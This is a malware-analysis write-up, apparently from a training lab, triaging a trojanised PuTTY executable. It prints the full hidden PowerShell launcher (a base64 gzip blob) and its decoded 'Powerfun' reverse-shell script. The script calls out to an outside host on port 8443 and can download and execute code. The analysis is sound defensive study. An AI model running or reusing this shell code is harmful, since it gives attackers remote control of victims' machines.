SillyPutty | Triage

NameSample LinkPersonal Rating *MD5 Hash
SillyPuttyGitHub PMAT Husky3.0334a10500feb0f3444bf2e86ab2e76da

*This rating is take from the moment I did this analysis. In the time being, this can change because my skills have progressed. Only take it as a point of view of this moment.


Static Analysis

We start with a Putty binary. At first glance it seems like a normal executable.

Untitled

Hashes

First, we get the hashes:

Console
C:\Users\zeropio\Desktop
λ sha256sum.exe putty.exe
0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe

C:\Users\zeropio\Desktop
λ md5sum.exe putty.exe
334a10500feb0f3444bf2e86ab2e76da *putty.exe

VirusTotal already told us is a malicious file. We can guess it is a trojan as it seems to be a malicious copy of putty.

Architecture

We see the architecture:

Console
C:\Users\zeropio\Desktop
λ file putty.exe
putty.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Strings

Now with this command we will get the strings from the binary:

Console
C:\Users\zeropio\Desktop
λ FLOSS.exe putty.exe > floss.txt

From the strings we see many references to putty or putty servers. We can see that these malware comes from a malicious version of putty, it is not just a malware. Most of the strings seems to be part of putty, like SSH connections. We can see some weird ones like:

Unable to create registry key
HKEY_CURRENT_USER\%s\%s
Unable to create registry key
HKEY_CURRENT_USER\%s

PEview

We will use now PEviewfor further analysis. We got that this was compile on 2021/07/10:

Untitled

We will get the virtual and raw data size:

Untitled
TypeHex ValueDecimal Value
Virtual95F6D614,253
Raw Data96000614,400

We can see that the difference is minimum, so it is not a packed malware. Also, we don’t see any UPX0.

In the Address Table we can see a bunch of functions imported.


Dynamic Analysis

First Detonation

Executing the binary without Internet connection will pop up a PowerShell a few seconds after closing it. Then, putty will appear as normal. With internet connection the behavior is the same.

If we filter the Path contains powershell we can find a Process Create operation. If we inspect it we can see a base64:

Untitled

This is the string:

Console
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

We can use CyberChef to decoded it. We see that after the base64 encoding it has a Gunzip encodig. Now we have a PowerShell file:

Console
## Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

We can see that it is enabling a reverse shell. In this line we can see the DNS server it is calling and the port:

PowerShell
$client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
DNSPort
bonus2.corporatebonusapplication.local8443

Add to the hosts file:

	127.0.0.1	 bonus2.corporatebonusapplication.local

Now open a netcat in the Windows host:

Console
C:\Users\zeropio\Desktop
λ nc -lvnp 8443

Execute the malware and we will get an error. This is because we don’t have a certificate for the TLS.


We can assure that this is a malicious file. Even though we couldn’t get the malicious file to work (the reverse shell failed because of the certificates), we have the source code that make a clear connection.

Leave a Reply

To top